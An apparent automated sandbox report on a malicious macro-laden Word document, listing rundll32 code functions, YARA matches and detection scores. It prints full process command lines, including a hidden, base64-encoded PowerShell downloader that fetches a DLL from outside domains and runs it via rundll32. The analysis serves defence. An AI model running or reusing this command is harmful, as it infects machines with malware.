Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F7B63 11_2_001F7B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002063C1 11_2_002063C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F9A37 11_2_001F9A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0020340A 11_2_0020340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F4A35 11_2_001F4A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F2A30 11_2_001F2A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00207A0F 11_2_00207A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00205A61 11_2_00205A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001FE05A 11_2_001FE05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001FEA4C 11_2_001FEA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001FF444 11_2_001FF444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0020687F 11_2_0020687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0020A0AF 11_2_0020A0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F1280 11_2_001F1280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F48BD 11_2_001F48BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F80BA 11_2_001F80BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F60B9 11_2_001F60B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F62A3 11_2_001F62A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0020889D 11_2_0020889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002012E2 11_2_002012E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F96CD 11_2_001F96CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002026F5 11_2_002026F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F1CFA 11_2_001F1CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002020C5 11_2_002020C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F88E5 11_2_001F88E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00208ADC 11_2_00208ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001FB112 11_2_001FB112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00200D33 11_2_00200D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F153C 11_2_001F153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00207D03 11_2_00207D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001FBB3A 11_2_001FBB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001FF536 11_2_001FF536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00200F0C 11_2_00200F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00202B16 11_2_00202B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0020511B 11_2_0020511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00208D1C 11_2_00208D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00205D1D 11_2_00205D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00207F1F 11_2_00207F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001FB75F 11_2_001FB75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00200B68 11_2_00200B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F6754 11_2_001F6754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00201773 11_2_00201773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00209B45 11_2_00209B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F5B79 11_2_001F5B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F8F78 11_2_001F8F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001FE377 11_2_001FE377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00202349 11_2_00202349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00208F49 11_2_00208F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001FC769 11_2_001FC769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F6D9F 11_2_001F6D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F839D 11_2_001F839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F7998 11_2_001F7998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002073AC 11_2_002073AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001FF98C 11_2_001FF98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002061B8 11_2_002061B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00206DB9 11_2_00206DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00209586 11_2_00209586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_0020878F 11_2_0020878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F17AC 11_2_001F17AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F69A0 11_2_001F69A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002031E2 11_2_002031E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001F9FDC 11_2_001F9FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00203FE7 11_2_00203FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002067E9 11_2_002067E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_002071EF 11_2_002071EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001FD7EB 11_2_001FD7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_00201BDF 11_2_00201BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006A2C63 12_2_006A2C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006AEE78 12_2_006AEE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006AB41F 12_2_006AB41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B02C3 12_2_006B02C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006AC0C6 12_2_006AC0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B42DA 12_2_006B42DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006A568E 12_2_006A568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B3895 12_2_006B3895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006A7B63 12_2_006A7B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B4B41 12_2_006B4B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006A8736 12_2_006A8736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B63C1 12_2_006B63C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B5A61 12_2_006B5A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B687F 12_2_006B687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006AEA4C 12_2_006AEA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006AF444 12_2_006AF444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006AE05A 12_2_006AE05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006A2A30 12_2_006A2A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006A9A37 12_2_006A9A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006A4A35 12_2_006A4A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B340A 12_2_006B340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B7A0F 12_2_006B7A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B12E2 12_2_006B12E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006A88E5 12_2_006A88E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006A1CFA 12_2_006A1CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B26F5 12_2_006B26F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006A96CD 12_2_006A96CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B20C5 12_2_006B20C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B8ADC 12_2_006B8ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006BA0AF 12_2_006BA0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006A62A3 12_2_006A62A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006A80BA 12_2_006A80BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006A60B9 12_2_006A60B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006A48BD 12_2_006A48BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006A1280 12_2_006A1280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B889D 12_2_006B889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006AC769 12_2_006AC769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B0B68 12_2_006B0B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006A8F78 12_2_006A8F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006A5B79 12_2_006A5B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B1773 12_2_006B1773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006AE377 12_2_006AE377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B2349 12_2_006B2349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B8F49 12_2_006B8F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B9B45 12_2_006B9B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006AB75F 12_2_006AB75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006A6754 12_2_006A6754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006ABB3A 12_2_006ABB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006A153C 12_2_006A153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B0D33 12_2_006B0D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006AF536 12_2_006AF536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B0F0C 12_2_006B0F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B7D03 12_2_006B7D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B511B 12_2_006B511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B7F1F 12_2_006B7F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B5D1D 12_2_006B5D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B8D1C 12_2_006B8D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006AB112 12_2_006AB112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B2B16 12_2_006B2B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006AD7EB 12_2_006AD7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B67E9 12_2_006B67E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B71EF 12_2_006B71EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B31E2 12_2_006B31E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B3FE7 12_2_006B3FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B1BDF 12_2_006B1BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006A9FDC 12_2_006A9FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006A17AC 12_2_006A17AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B73AC 12_2_006B73AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006A69A0 12_2_006A69A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B6DB9 12_2_006B6DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B61B8 12_2_006B61B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B878F 12_2_006B878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006AF98C 12_2_006AF98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006B9586 12_2_006B9586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006A7998 12_2_006A7998
Document contains an embedded VBA macro which executes code when the document is opened / closed
Source: info_2020_NJY_31940448.doc OLE, VBA macro line: Private Sub Document_open()
Source: VBA code instrumentation OLE, VBA macro: Module Xlb0g5eyj545, Function Document_open Name: Document_open
Document contains embedded VBA macros
Source: info_2020_NJY_31940448.doc OLE indicator, VBA macros: true
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\Ygyhlqt\Bx5jfmo\R43H.dll BBB9C1B98EC307A5E84095CF491F7475964A698C90B48A9D43490A05B6BA0A79
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\rundll32.exe Code function: String function: 10029D17 appears 108 times
Source: C:\Windows\SysWOW64\rundll32.exe Code function: String function: 10026566 appears 66 times
Source: C:\Windows\SysWOW64\rundll32.exe Code function: String function: 100040F0 appears 118 times
Yara signature match
Source: 00000005.00000002.2103844038.00000000003F6000.00000004.00000001.sdmp, type: MEMORY Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 00000005.00000002.2103894665.0000000001C16000.00000004.00000001.sdmp, type: MEMORY Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: R43H.dll.5.dr Static PE information: Section: .rsrc ZLIB complexity 0.995798093463
Source: rundll32.exe, 00000006.00000002.2113882057.0000000001C40000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2106952644.0000000000740000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2110345397.0000000001F70000.00000002.00000001.sdmp Binary or memory string: .VBPud<_
Source: classification engine Classification label: mal100.troj.evad.winDOC@26/7@1/2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: CreateServiceW, 10_2_002454FE
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$fo_2020_NJY_31940448.doc Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRDDFF.tmp Jump to behavior
Source: info_2020_NJY_31940448.doc OLE indicator, Word Document stream: true
Source: info_2020_NJY_31940448.doc OLE document summary: title field not present or empty
Source: info_2020_NJY_31940448.doc OLE document summary: edited time not present or 0
Source: C:\Windows\System32\msg.exe Console Write: ........................................ .>.......>.............`.......................#...............................h.......5kU............. Jump to behavior
Source: C:\Windows\System32\msg.exe Console Write: ................................A.s.y.n.c. .m.e.s.s.a.g.e. .s.e.n.t. .t.o. .s.e.s.s.i.o.n. .C.o.n.s.o.l.e...............L....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................................................`I.........v.....................K........b............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................D.j......................J.............}..v....X.......0.u............................................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................D.j..... J...............J.............}..v............0.u...............b............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................E.j......................J.............}..v............0.u............................................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................E.j......b...............J.............}..v....H.......0.u...............b............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....#..............._E.j......................J.............}..v.....+......0.u............................................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....#..............._E.j..... J...............J.............}..v.....,......0.u.............X.b............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....'...............oz.j....E.................J.............}..v............0.u...............b............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....+...............oz.j....E.................J.............}..v............0.u...............b............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\System32\msg.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: unknown Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Ygyhlqt\Bx5jfmo\R43H.dll Control_RunDLL
Source: info_2020_NJY_31940448.doc Virustotal: Detection: 65%
Source: info_2020_NJY_31940448.doc Metadefender: Detection: 41%
Source: info_2020_NJY_31940448.doc ReversingLabs: Detection: 79%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Source: unknown Process created: C:\Windows\System32\cmd.exe cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD JAA2ADkAbQBEAFQANwAgACAAPQAgAFsAdAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAFIAJwAsACcAUwAnACwAJwBZACcALAAnAFkAUwB0AEUATQAuAEkATwAuAGQAaQBSAEUAYwBUAE8AJwApACAAOwAgACAAIAAkAHkAMQAwAEkAIAAgAD0AIABbAFQAeQBwAEUAXQAoACIAewA2AH0AewAzAH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewA1AH0AewA4AH0AewAwAH0AIgAtAGYAIAAnAGEARwBlAFIAJwAsACcAdAAuACcALAAnAEUAJwAsACcAWQBTAHQAJwAsACcATgBFACcALAAnAHMARQBSAHYAaQBDACcALAAnAHMAJwAsACcAbQAuACcALAAnAGUAUABvAGkAbgB0AG0AYQBuACcAKQA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpACcAKwAnAGwAZQBuAHQAbAB5ACcAKQArACgAJwBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQAnACkAKwAnAGUAJwApADsAJABQAHkAMABlAGIAagBpAD0AJABLADEAMgBPACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABQADYANQBaADsAJABYADkAMgBDAD0AKAAoACcAVQAnACsAJwBfADgAJwApACsAJwBSACcAKQA7ACAAIAAkADYAOQBNAGQAdAA3ADoAOgAiAEMAcgBgAGUAYQBUAGAARQBkAEkAUgBFAEMAdABvAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWgAnACsAKAAnAE0AJwArACcAUABZAGcAeQAnACsAJwBoACcAKQArACgAJwBsAHEAdABaACcAKwAnAE0AJwApACsAJwBQAEIAJwArACgAJwB4ACcAKwAnADUAagAnACkAKwAnAGYAJwArACgAJwBtAG8AWgBNACcAKwAnAFAAJwApACkALQBSAGUAcABsAGEAYwBFACgAWwBDAGgAYQBSAF0AOQAwACsAWwBDAGgAYQBSAF0ANwA3ACsAWwBDAGgAYQBSAF0AOAAwACkALABbAEMAaABhAFIAXQA5ADIAKQApADsAJABHADcANwBHAD0AKAAnAFgAOAAnACsAJwAwAFAAJwApADsAIAAkAHkAMQAwAEkAOgA6ACIAUwBlAEMAdQByAEkAdABgAHkAcAByAE8AYABUAE8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQASgAzADQASgA9ACgAKAAnAFoAMgAnACsAJwA4ACcAKQArACcATgAnACkAOwAkAFIAaQA2ADIAcwBvAGsAIAA9ACAAKAAnAFIANAAnACsAJwAzAEgAJwApADsAJABUADkAXwBJAD0AKAAnAEgANQAnACsAJwA4AEwAJwApADsAJABCAGgAbgB3AGUAOQAyAD0AJABIAE8ATQBFACsAKAAoACcATQBvACcAKwAoACcAUQBZAGcAJwArACcAeQAnACkAKwAoACcAaABsAHEAdABNAG8AUQAnACsAJwBCACcAKwAnAHgAJwApACsAKAAnADUAagBmAG0AJwArACcAbwBNACcAKwAnAG8AUQAnACkAKQAuACIAcgBgAEUAUABsAGAAQQBDAGUAIgAoACgAJwBNAG8AJwArACcAUQAnACkALABbAFMAVABSAGkATgBHAF0AWwBDAEgAQQByAF0AOQAyACkAKQArACQAUgBpADYAMgBzAG8AawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFcANQAwAFYAPQAoACcAWQAnACsAKAAnADcAOQAnACsAJwBZACcAKQApADsAJABPAGcAXwA0ADMAXwBtAD0AKAAnAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvAGEAbABsACcAKQArACgAJwBjAGEAJwArACcAbgBuAGEAYgBpACcAKwAnAHMAbQBlACcAKQArACgAJwBkACcAKwAnAHMALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB1ACcAKwAnAG4AcgAnACkAKwAoACcAYQBpAGQALQAnACsAJwBtAGEAcAAvAFoAJwArACcAWgAnACkAKwAoACcAbQAnACsAJwA2AC8AJwArACcAQABdAGIAJwApACsAKAAnADIAWwAnACsAJwBzACcAKQArACgAJwA6AC8ALwBnACcAKwAnAGkAJwArACcAYQBuACcAKQArACcAbgAnACsAKAAnAGEAJwArACcAcwBwAHMAeQAnACsAJwBjACcAKQArACcAaABpACcAKwAoACcAYwAnACsAJwBzAHQAdQAnACkAKwAoACcAZABpACcAKwAnAG8ALgBjAG8AbQAnACkAKwAoACcALwAnACsAJwBjAGcAaQAtACcAKQArACgAJwBiAGkAJwArACcAbgAvAFAAJwArACcAUAAvAEAAJwArACcAXQAnACkAKwAoACcAYgAnACsAJwAyAFsAcwA6ACcAKQArACcALwAvACcAKwAoACcAaQBlAG4AZwAnACsAJwBsAGkAcwBoACcAKwAnAGEAYgBjAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAGMA
Source: unknown Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file.
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD JAA2ADkAbQBEAFQANwAgACAAPQAgAFsAdAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAFIAJwAsACcAUwAnACwAJwBZACcALAAnAFkAUwB0AEUATQAuAEkATwAuAGQAaQBSAEUAYwBUAE8AJwApACAAOwAgACAAIAAkAHkAMQAwAEkAIAAgAD0AIABbAFQAeQBwAEUAXQAoACIAewA2AH0AewAzAH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewA1AH0AewA4AH0AewAwAH0AIgAtAGYAIAAnAGEARwBlAFIAJwAsACcAdAAuACcALAAnAEUAJwAsACcAWQBTAHQAJwAsACcATgBFACcALAAnAHMARQBSAHYAaQBDACcALAAnAHMAJwAsACcAbQAuACcALAAnAGUAUABvAGkAbgB0AG0AYQBuACcAKQA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpACcAKwAnAGwAZQBuAHQAbAB5ACcAKQArACgAJwBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQAnACkAKwAnAGUAJwApADsAJABQAHkAMABlAGIAagBpAD0AJABLADEAMgBPACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABQADYANQBaADsAJABYADkAMgBDAD0AKAAoACcAVQAnACsAJwBfADgAJwApACsAJwBSACcAKQA7ACAAIAAkADYAOQBNAGQAdAA3ADoAOgAiAEMAcgBgAGUAYQBUAGAARQBkAEkAUgBFAEMAdABvAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWgAnACsAKAAnAE0AJwArACcAUABZAGcAeQAnACsAJwBoACcAKQArACgAJwBsAHEAdABaACcAKwAnAE0AJwApACsAJwBQAEIAJwArACgAJwB4ACcAKwAnADUAagAnACkAKwAnAGYAJwArACgAJwBtAG8AWgBNACcAKwAnAFAAJwApACkALQBSAGUAcABsAGEAYwBFACgAWwBDAGgAYQBSAF0AOQAwACsAWwBDAGgAYQBSAF0ANwA3ACsAWwBDAGgAYQBSAF0AOAAwACkALABbAEMAaABhAFIAXQA5ADIAKQApADsAJABHADcANwBHAD0AKAAnAFgAOAAnACsAJwAwAFAAJwApADsAIAAkAHkAMQAwAEkAOgA6ACIAUwBlAEMAdQByAEkAdABgAHkAcAByAE8AYABUAE8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQASgAzADQASgA9ACgAKAAnAFoAMgAnACsAJwA4ACcAKQArACcATgAnACkAOwAkAFIAaQA2ADIAcwBvAGsAIAA9ACAAKAAnAFIANAAnACsAJwAzAEgAJwApADsAJABUADkAXwBJAD0AKAAnAEgANQAnACsAJwA4AEwAJwApADsAJABCAGgAbgB3AGUAOQAyAD0AJABIAE8ATQBFACsAKAAoACcATQBvACcAKwAoACcAUQBZAGcAJwArACcAeQAnACkAKwAoACcAaABsAHEAdABNAG8AUQAnACsAJwBCACcAKwAnAHgAJwApACsAKAAnADUAagBmAG0AJwArACcAbwBNACcAKwAnAG8AUQAnACkAKQAuACIAcgBgAEUAUABsAGAAQQBDAGUAIgAoACgAJwBNAG8AJwArACcAUQAnACkALABbAFMAVABSAGkATgBHAF0AWwBDAEgAQQByAF0AOQAyACkAKQArACQAUgBpADYAMgBzAG8AawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFcANQAwAFYAPQAoACcAWQAnACsAKAAnADcAOQAnACsAJwBZACcAKQApADsAJABPAGcAXwA0ADMAXwBtAD0AKAAnAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvAGEAbABsACcAKQArACgAJwBjAGEAJwArACcAbgBuAGEAYgBpACcAKwAnAHMAbQBlACcAKQArACgAJwBkACcAKwAnAHMALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB1ACcAKwAnAG4AcgAnACkAKwAoACcAYQBpAGQALQAnACsAJwBtAGEAcAAvAFoAJwArACcAWgAnACkAKwAoACcAbQAnACsAJwA2AC8AJwArACcAQABdAGIAJwApACsAKAAnADIAWwAnACsAJwBzACcAKQArACgAJwA6AC8ALwBnACcAKwAnAGkAJwArACcAYQBuACcAKQArACcAbgAnACsAKAAnAGEAJwArACcAcwBwAHMAeQAnACsAJwBjACcAKQArACcAaABpACcAKwAoACcAYwAnACsAJwBz